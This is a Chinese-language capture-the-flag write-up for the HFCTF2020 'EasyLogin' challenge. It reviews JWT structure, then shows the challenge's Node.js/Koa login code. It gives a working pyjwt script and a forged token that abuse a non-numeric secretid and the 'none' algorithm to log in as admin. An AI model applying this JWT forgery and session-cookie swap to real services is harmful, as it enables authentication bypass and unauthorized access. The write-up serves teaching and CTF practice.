[HFCTF2020]EasyLogin
[HFCTF2020]EasyLogin
又是一道关于jwt伪造的题目
再来回顾下jwt的一些知识吧
jwt初识
认识jwt
摘自上面的文章
JSON Web Token的结构是什么样的
JSON Web Token由三部分组成,它们之间用圆点(.)连接。这三部分分别是:
- Header
- Payload
- Signature
因此,一个典型的JWT看起来是这个样子的:
xxxxx.yyyyy.zzzzz
接下来,具体看一下每一部分:
Head
header型的由两部分组成:token的类型(“JWT”)和算法名称(比如:HMAC SHA256或者RSA等等)。
例如:
然后,用Base64对这个JSON编码就得到JWT的第一部分
Payload
JWT的第二部分是payload,它包含声明(要求)。声明是关于实体(通常是用户)和其他数据的声明。声明有三种类型: registered, public 和 private。
- Registered claims : 这里有一组预定义的声明,它们不是强制的,但是推荐。比如:iss (issuer), exp (expiration time), sub (subject), aud (audience)等。
- Public claims : 可以随意定义。
- Private claims : 用于在同意使用它们的各方之间共享信息,并且不是注册的或公开的声明。
下面是一个例子:
对payload进行Base64编码就得到JWT的第二部分
注意,不要在JWT的payload或header中放置敏感信息,除非它们是加密的。
Signature
为了得到签名部分,你必须有编码过的header、编码过的payload、一个秘钥,签名算法是header中指定的那个,然对它们签名即可。
例如:
HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)
签名是用于验证消息在传递过程中有没有被更改,并且,对于使用私钥签名的token,它还可以验证JWT的发送方是否为它所称的发送方。
做题前期准备工作
一个登录框,注册一个账号登录进去看看
发现有个get flag按钮,但是会被permission denied,猜测需要admin权限
dirsearch扫了下也没啥新的发现
查看WP发现,需要读取controllers/api.js
那么问题来了,怎么知道要读取这玩意儿呢?一切都是经验......
懂得都懂,不懂别问。菜鸡也只能默不作声,好好看,好好学了。
查看/static/js/app.js,发现提示知道是koa框架
/**
* 或许该用 koa-static 来处理静态文件
* 路径该怎么配置?不管了先填个根目录XD
*/
首先这是一个koa框架,用nodejs写的,先看一下框架的目录结构
访问/controllers/api.js得到主要逻辑代码
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')
const APIError = require('../rest').APIError;
module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}
if(global.secrets.length > 100000) {
global.secrets = [];
}
const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)
const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
ctx.rest({
token: token
});
await next();
},
'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}
const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
console.log(sid)
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: 'HS256'});
const status = username === user.username && password === user.password;
if(status) {
ctx.session.username = username;
}
ctx.rest({
status
});
await next();
},
'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}
const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});
await next();
},
'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};
注册的用户名不能为admin,然后生成jwt令牌。
整套逻辑就是注册->登录为admin->得到flag
利用方式
利用nodejs的jwt缺陷,当jwt的secret为空,jwt会采用algorithm为none进行解密。
js是弱语言类型,我们可以将secretid设置为一个小数或空数组(空数组与数字比较时为0)来绕过secretid的一个验证(不能为null&undefined)
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}
这样secrret为空,加密算法也为none,成功绕过jwt验证
核心解题过程
登录时抓包,将authorization的值复制到https://jwt.io/看一下
之后伪造jwt,按照网页那样构造一下,没安装jwt库的话pip install pyjwt即可
import jwt
token = jwt.encode({"secretid":0.1,"username": "admin","password": "123","iat": 1596626836},algorithm="none",key="").decode(encoding='utf-8')
print(token)
#eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzZWNyZXRpZCI6MC4xLCJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxMjMiLCJpYXQiOjE1OTY2MjY4MzZ9.
修改username和authorization,这里要注意username和password要和构造的值一样,go一下,发现status返回true,我们拿到了sses:aok和sses:aok:sig的值
然后抓一下getflag页面的包,修改刚才说到的两个值,因为已经拿到了admin权限,所以可以getflag了